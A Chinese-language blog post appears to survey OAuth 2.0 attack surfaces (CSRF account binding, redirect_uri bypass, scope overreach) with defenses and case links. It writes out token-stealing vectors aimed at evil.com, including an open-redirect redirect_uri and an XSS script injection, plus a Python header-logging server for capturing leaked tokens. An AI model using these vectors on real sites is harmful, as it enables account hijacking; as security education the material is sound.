本文整理了OAuth 2.0的攻击面+实际案例+辅助测试代码。

OAuth流程

本文以两种广泛使用的方案为标准展开.。如对流程不了解,请先移步学习: 理解OAuth 2.0

Authorization Code

  • response_type = code
  • redirect_uri
  • scope
  • client_id
  • state

Implicit

  • response_type = token
  • redirect_uri
  • scope
  • client_id
  • state

攻击面

  • CSRF导致绑定劫持
  • redirect_uri绕过导致授权劫持
  • scope越权访问

绑定劫持

攻击者抓取认证请求构造恶意url,并诱骗已经登录的网用户点击(比如通过邮件或者QQ等方式).认证成功后用户的帐号会同攻击者的帐号绑定到一起。

OAuth 2.0提供了state参数用于防御CSRF.认证服务器在接收到的state参数按原样返回给redirect_uri,客户端收到该参数并验证与之前生成的值是否一致.除此方法外也可使用传统的CSRF防御方案.

案例: 人人网-百度OAuth 2.0 redirect_uir CSRF 漏洞

授权劫持

根据OAuth的认证流程,用户授权凭证会由服务器转发到redirect_uri对应的地址,如果攻击者伪造redirect_uri为自己的地址,然后诱导用户发送该请求,之后获取的凭证就会发送给攻击者伪造的回调地址.攻击者使用该凭证即可登录用户账号,造成授权劫持.

正常情况下,为了防止该情况出现,认证服务器会验证自己的client_id与回调地址是否对应.常见的方法是验证回调地址的主域,涉及到的突破方式与CSRF如出一辙:

未验证

验证绕过

子域可控

跨域

  • 利用可信域的url跳转从referer偷取token

    如果网站存在一个任意url跳转漏洞,可利用该漏洞构造以下向量

    redirect_uri=http://auth.app.com/redirect.php?url=http://evil.com

    认证服务器将凭证通过GET方法发送到redirect.php,这时redirect.php执行跳转,访问http://evil.com,攻击者为evil.com记录日志,并从请求头中的referer字段提取出该凭证,即可通过该凭证进行授权登录.

  • 利用跨域请求从referer偷取token

    在我们不能绕过redirect_uri的判断规则时,我们可以使利用跨域请求从referer中偷取token.

    例1 redirect_uri限制为app.com,然而app.com/article/1.html中允许用户发表文章,在文章中嵌入来自evil.com的外部图片.这时我们可以让redirect_uri指向该文章app.com/article/1.html,当该文章被访问时,会自动获取 evil.com/test.jpg ,这时攻击者即可从请求头的referer拿到token

    例2 利用XSS实现跨域

    redirect_uri = http://app.com/ajax/cat.html?callback=<script src="http://evil.com?getToken.php"></script>

越权访问

这个案例展示了scope权限控制不当带来的安全风险,同时将授权劫持的几个方面演绎的淋漓尽致.

案例: 从“黑掉Github”学Web安全开发

辅助验证脚本

一个简易服务器,会记录来访者的请求头.
1. Python picserver.py [可选端口号]
2. 打开浏览器访问图片或页面地址
3. 查看日志
4. 清除日志

import BaseHTTPServer
import datetime
import sys
import os SERVER = '0.0.0.0'
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 2333
LOG_PATH = 'reqlog.txt' class WebRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
if '.png' in self.path:
print self.path
fname = '1.png'
elif '.jpg' in self.path:
fname = '1.jpg'
elif '.gif' in self.path:
fname = '1.gif'
elif '.html' in self.path:
fname = 'index.html'
elif 'clear' in self.path:
os.remove(LOG_PATH)
self.send_response(200)
self.end_headers()
self.wfile.write('ok')
return
else:
self.send_response(200)
self.end_headers()
try:
self.wfile.write(open(LOG_PATH, 'r').read())
except IOError:
print '[*]Create logfile: ' + LOG_PATH
return message_parts = ['<br>===== [%s] %s =====' % (self.path, datetime.datetime.today())]
for name, value in sorted(self.headers.items()):
message_parts.append('%s: %s' % (name, value.strip()))
message = '<br>'.join(message_parts) + '<br>' with open(LOG_PATH, 'a') as f:
f.write(message)
self.send_response(200)
self.end_headers()
self.wfile.write(open(fname, 'rb').read()) print '[*]Starting server at %s:%d' % (SERVER, PORT)
server = BaseHTTPServer.HTTPServer((SERVER, PORT), WebRequestHandler)
server.serve_forever()

效果:

参考

OAuth 2.0攻击面与案例总结的更多相关文章

  1. OAuth 2.0攻击

    参考文章:https://www.yuque.com/pmiaowu/web_security_1/oauth 作者:PHPoop 关于OAuth2.0协议的授权流程可以参考下面的流程图: 1.Cli ...

  2. OAuth 2.0 安全案例回顾

    原文:http://drops.wooyun.org/papers/598 0x00 背景 纵观账号互通发展史,可以发现OAuth比起其它协议(如OpenID)更流行的原因是,业务双方不仅要求账号本身 ...

  3. OAuth 2.0安全案例回顾

    转载自:http://www.360doc.com/content/14/0311/22/834950_359713295.shtml 0x00 背景 纵观账号互通发展史,可以发现OAuth比起其它协 ...

  4. OAuth 2.0 授权认证详解

    一.认识 OAuth 2.0 1.1 OAuth 2.0 应用场景 OAuth 2.0 标准目前被广泛应用在第三方登录场景中,以下是虚拟出来的角色,阐述 OAuth2 能帮我们干什么,引用阮一峰这篇理 ...

  5. OAuth 2.0 授权方式讲解,规范实践和应用

    基于实践说规范 网上看了一些OAuth 2.0的授权方法,尽管讲解的没有什么逻辑性错误,但是存在一个问题,那就是单纯的讲解协议规范却脱离了实际的应用,缺少干货,所以才有了这篇文章,内容基于实际业务进行 ...

  6. 如何通过 OAuth 2.0 使 iOS Apps 集成 LinkedIn 登录功能?

    社交网络早已成为人们日常生活的一部分.其实,社交网络也是编程生活的一部分,大多数 App 必须通过某种方式与社交网络交互,传送或接收与用户相关的数据.大多数情况下,用户需要登录某种社交网络,授权 Ap ...

  7. 构建微服务-使用OAuth 2.0保护API接口

    微服务操作模型 基于Spring Cloud和Netflix OSS 构建微服务-Part 1 基于Spring Cloud和Netflix OSS构建微服务,Part 2 在本文中,我们将使用OAu ...

  8. OAuth 2.0 授权码请求

    关于OAuth 2.0,请参见下面这两篇文章(墙裂推荐): <OAuth 2.0> <Spring Security OAuth 2.0> 纸上得来终觉浅,绝知此事要躬行.理论 ...

  9. OAuth 2.0授权之授权码授权

    OAuth 2.0 是一个开放的标准协议,允许应用程序访问其它应用的用户授权的数据(如用户名.头像.昵称等).比如使用微信.QQ.支付宝登录等第三方网站,只需要用户点击授权按钮,第三方网站就会获取到用 ...

随机推荐

  1. jquery id选择器 id带"."问题

    例如控件ID为user.id 使用$("#user.id")不能得到正确的结果 必须使用\\转义 即$("#user\\.id")

  2. ubuntu14.04安装了im-switch后系统设置中不见了语言支持

    sudo apt-get install language-selector-gnome

  3. php函数ob_start()、ob_end_clean()、ob_get_contents()

    下面3个函数的用法 ob_get_contents() - 返回输出缓冲区的内容 ob_flush() - 冲刷出(送出)输出缓冲区中的内容 ob_clean() - 清空(擦掉)输出缓冲区 ob_e ...

  4. RGB to HSI, HSI to RGB Conversion Calculator

    The RGB color model is an additive system in which each color is defined by the amount of red, green ...

  5. macbook 放flash发烫,转html5

    http://zythum.sinaapp.com/youkuhtml5playerbookmark/

  6. Django笔记-常见错误整理

    1.csrf错误 解决方法:在settings.py里注释掉相关内容即可 MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.Sess ...

  7. Django开发web环境搭建的简单方法(CentOS6.5环境)

    这几天跟Linux下的Python + Django环境搭建卯上了.经过几天的琢磨,找到了一条自己认为给力的路径. 这里给出命令行,过程如下: 首次登陆,切换管理员: [web@bogon ~]$ s ...

  8. centos 7.0 菜鸟接触命令 记录

    centos 7.0 最小化安装 查看IP ip addr 查看外网IP curl ifconfig.me 重启 shutdown -r now 安装wget yum -y install wget ...

  9. Python操作Redis、Memcache、RabbitMQ、SQLAlchemy

    Python操作 Redis.Memcache.RabbitMQ.SQLAlchemy redis介绍:redis是一个开源的,先进的KEY-VALUE存储,它通常被称为数据结构服务器,因为键可以包含 ...

  10. Python操作 RabbitMQ、Redis、Memcache、SQLAlchemy

    Memcached Memcached 是一个高性能的分布式内存对象缓存系统,用于动态Web应用以减轻数据库负载.它通过在内存中缓存数据和对象来减少读取数据库的次数,从而提高动态.数据库驱动网站的速度 ...